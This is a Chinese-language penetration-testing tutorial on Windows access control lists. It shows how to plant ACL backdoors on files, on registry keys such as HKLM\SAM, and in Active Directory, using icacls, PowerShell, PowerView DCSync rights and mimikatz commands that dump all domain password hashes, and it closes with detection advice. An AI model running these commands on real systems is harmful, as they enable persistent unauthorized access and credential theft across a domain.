10

渗透技巧——Windows下的Access Control List

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%8B%E7%9A%84Access-Control-List/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言


Windows系统中的ACL(Access Control List),用来表示用户(组)权限的列表。

在渗透测试中,理解并运用ACL,尤其在后门利用(提权)方面,可供发挥的空间很大。

而站在防御的角度,如果系统被攻破,找到并清除攻击者留下的ACL后门,同样需要对ACL有一定的了解。

0x01 简介


本文将要介绍以下内容:

  • ACL相关概念
  • 查看ACL
  • ACL利用(文件、注册表和域环境)
  • ACL检测

0x02 ACL相关概念


官方文档:

https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/access-control-lists

Access Control List,用来表示用户(组)权限的列表,包括DACL和SACL

Access Control Entry,ACL中的元素

DACL:

Discretionary Access Control List,用来表示安全对象权限的列表

SACL:

System Access Control List,用来记录对安全对象访问的日志

直观理解:

Windows访问控制模型中会用到ACL,比如文件、注册表的权限都包括ACL,用来表示哪些用户(组)具有操作权限

例如对某个文件进行访问,系统将做以下判断:

  • 如果没有DACL,系统将允许访问
  • 如果存在DACL,但没有ACE,系统将拒绝所有访问
  • 如果存在DACL,也存在ACE,那么会按照每个ACE指定允许或拒绝

对于文件夹C:\Windows\SYSVOL\sysvol\test.com,查看文件夹属性

默认共有五条DACL,如下图

Alt text

选中一条DACL,其中包含多个ACE,表示具有的权限,如下图

Alt text

0x03 文件中的ACL


常用命令(icacls):

1、查看指定文件的ACL

icacls C:\Windows\SYSVOL\sysvol\test.com
Alt text

2、备份指定文件(包括当前目录及其子目录中的文件)的ACL

icacls C:\Windows\SYSVOL\sysvol\test.com /save AclFile /t

3、还原指定文件(包括当前目录及其子目录中的文件)的ACL

icacls C:\Windows\SYSVOL\sysvol\ /restore AclFile /t

注:

还原时,路径需要设置为上级目录

4、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

icacls C:\Windows\SYSVOL\sysvol\test.com /grant test1:(OI)(CI)(F) /t

注:

(OI)代表对象继承 (CI)代表容器继承 (F)代表完全访问

5、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

icacls C:\Windows\SYSVOL\sysvol\test.com /remove test1 /t

常用命令(powershell):

1、查看指定路径的ACL

例如C:\Windows\SYSVOL\sysvol\test.com

Get-Acl -Path 'C:\Windows\SYSVOL\sysvol\test.com'| Format-Table -wrap

2、添加用户test1对指定文件的完全访问权限

function Add-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    Set-Acl $Path $acl
}
Add-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'

3、移除用户test1对指定文件的完全访问权限

function Remove-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.RemoveAccessRule($rule)
    Set-Acl $Path $acl
}
Remove-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'

4、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

function Add-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    Set-Acl $Path $acl
}
Add-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
$fileList = Get-ChildItem 'C:\Windows\SYSVOL\sysvol\test.com' -recurse
Foreach($file in $fileList)
{
    $file.fullname
    Add-ACL -Path $file.fullname
}

5、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

function Remove-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.RemoveAccessRule($rule)
    Set-Acl $Path $acl
}
Remove-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
$fileList = Get-ChildItem 'C:\Windows\SYSVOL\sysvol\test.com' -recurse
Foreach($file in $fileList)
{
    Remove-ACL -Path $file.fullname
}

利用思路:

1、本地提权后门

在取得Windows系统的管理员权限后,可以修改系统目录的ACL,添加普通用户的完全访问权限,作为提权后门

后续可以通过dll劫持、文件替换等多种方法从普通用户提升至管理员权限

2、域环境GPO的修改

修改域内共享文件夹\\<DOMAIN>\SYSVOL\<DOMAIN>\的ACL,添加普通用户的完全访问权限

后续可以使用域内普通用户的权限修改域环境的GPO,修改GPO的计划任务,实现计划任务的远程执行

相关方法可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》

3、域内普通用户读取域内所有用户hash

创建ntds.dit的文件共享,添加ACL

后续可以使用域内普通用户访问域控制器的ntds.dit文件,读取域内所有用户的hash

0x04 注册表中的ACL


常用命令(powershell):

1、查看指定路径的ACL

例如HKEY_LOCAL_MACHINE\SAM

Get-Acl -Path 'HKLM:\SAM'| Format-Table -wrap
Alt text

获得Access项的具体内容:

$acl = Get-Acl -Path 'HKLM:\SAM'
$acl.Access
Alt text

2、添加用户test1对指定路径(包括当前注册表项及其子健)的完全访问权限

$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SAM $acl

注:

$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"表示其子健继承当前注册表项的权限

修改注册表项HKLM:\SAM的ACL需要Administrator权限

修改注册表项HKLM:\SAM\SAM的ACL需要System权限

3、移除用户test1对指定路径(包括当前注册表项及其子健)的完全访问权限

$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.RemoveAccessRule($rule)
Set-Acl HKLM:\SAM $acl

利用思路:

1、本地提权后门

修改注册表项HKLM:\SAMHKLM:\SYSTEM,添加普通用户的完全访问权限

普通用户能够通过注册表项获得本地所有用户的hash,进而获得管理员权限

3、本地自启动后门

修改注册表位置,添加启动项或者劫持项

0x05 域环境中的ACL


通过Active Directory Service Interfaces (ADSI)实现

官方文档:

https://docs.microsoft.com/en-us/windows/desktop/AD/controlling-access-to-objects-in-active-directory-domain-services

Powershell调用ADSI的参考资料:

https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell

常用命令(powershell):

注:

PowerView已经实现了这部分内容,所以本节直接引用PowerView中的功能

代码地址:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

1、获得当前域内所有对象

Get-DomainObject -Domain test.com

2、获得当前域内所有对象的ACL

Get-DomainObjectAcl -Domain test.com

3、获得指定用户的ACL

Get-DomainUser test1

4、添加用户test1对指定对象(guid)的完全访问权限

Add-DomainObjectAcl -TargetIdentity '483e9973-2d45-4e2f-b034-f272a26950e0' -PrincipalIdentity test1 -Rights All

5、移除用户test1对指定对象(guid)的完全访问权限

Remove-DomainObjectAcl -TargetIdentity '483e9973-2d45-4e2f-b034-f272a26950e0' -PrincipalIdentity test1 -Rights All

利用思路:

1、DCSync后门

注:

该方法学习自:https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

DCSync是mimikatz的一个功能,能够模拟域控制器并从域控制器导出帐户密码hash

如果我们在域内一台主机上获得了域管理员权限,可以使用如下命令直接导出域内所有用户的hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内administrator帐户的hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

默认情况下,只有Domain ControllersEnterprise Domain Admins权限能够使用DCSync

但我们可以对DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)添加ACL,这样就能实现普通用户调用DCSync导出域内所有用户的hash

实现代码:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

添加ACL的命令如下:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync

接下来,在域内一台登录了test1用户的主机上面,就能使用mimikatz的DCSync功能

删除ACL的命令如下:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync

2、GPO后门

(1)查看当前域内的GPO

Import-Module GroupPolicy
Get-GPO -All

如下图,TestGPO是我在测试环境自己添加的,Default Domain PolicyDefault Domain Controllers Policy是域环境默认存在的GPO

Alt text

(2)添加用户test1对TestGPO的完全访问权限

$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

(3)移除用户test1对TestGPO的完全访问权限

$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

后续可以对GPO进行操作,添加计划任务,实现计划任务的远程执行,具体方法可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》

0x06 ACL检测


1、文件和注册表

可借助开源工具WindowsDACLEnumProject:

https://github.com/nccgroup/WindowsDACLEnumProject

能够列出存在风险的ACL

3、域环境

需要开启高级安全审核策略,参考资料:

https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

开启策略后,Event ID 5136会记录域环境中ACL的修改,参考资料:

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5136

0x07 小结


本文介绍了Windows系统中的ACL在文件、注册表和域环境下后门利用方面的技巧,并给出检测后门的建议。

我从PowerView中学到了很多域环境下ACL的知识,在此感谢作者的开源。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK